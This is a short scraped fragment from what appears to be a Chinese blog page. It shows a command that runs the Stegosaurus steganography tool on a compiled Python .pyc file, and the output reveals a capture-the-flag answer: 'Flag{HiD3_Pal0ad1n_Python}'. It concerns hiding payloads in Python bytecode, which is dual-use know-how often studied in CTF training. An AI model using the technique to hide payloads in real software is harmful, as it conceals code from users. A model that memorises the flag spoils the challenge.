pycache/pystego.cpython-36-stegosaurus.pyc -xExtracted payload: Flag{HiD3_Pal0ad1n_Python} 请先登录
+1
已点过赞 9 |
|
来自: 新用户88342ytu > 《待分类》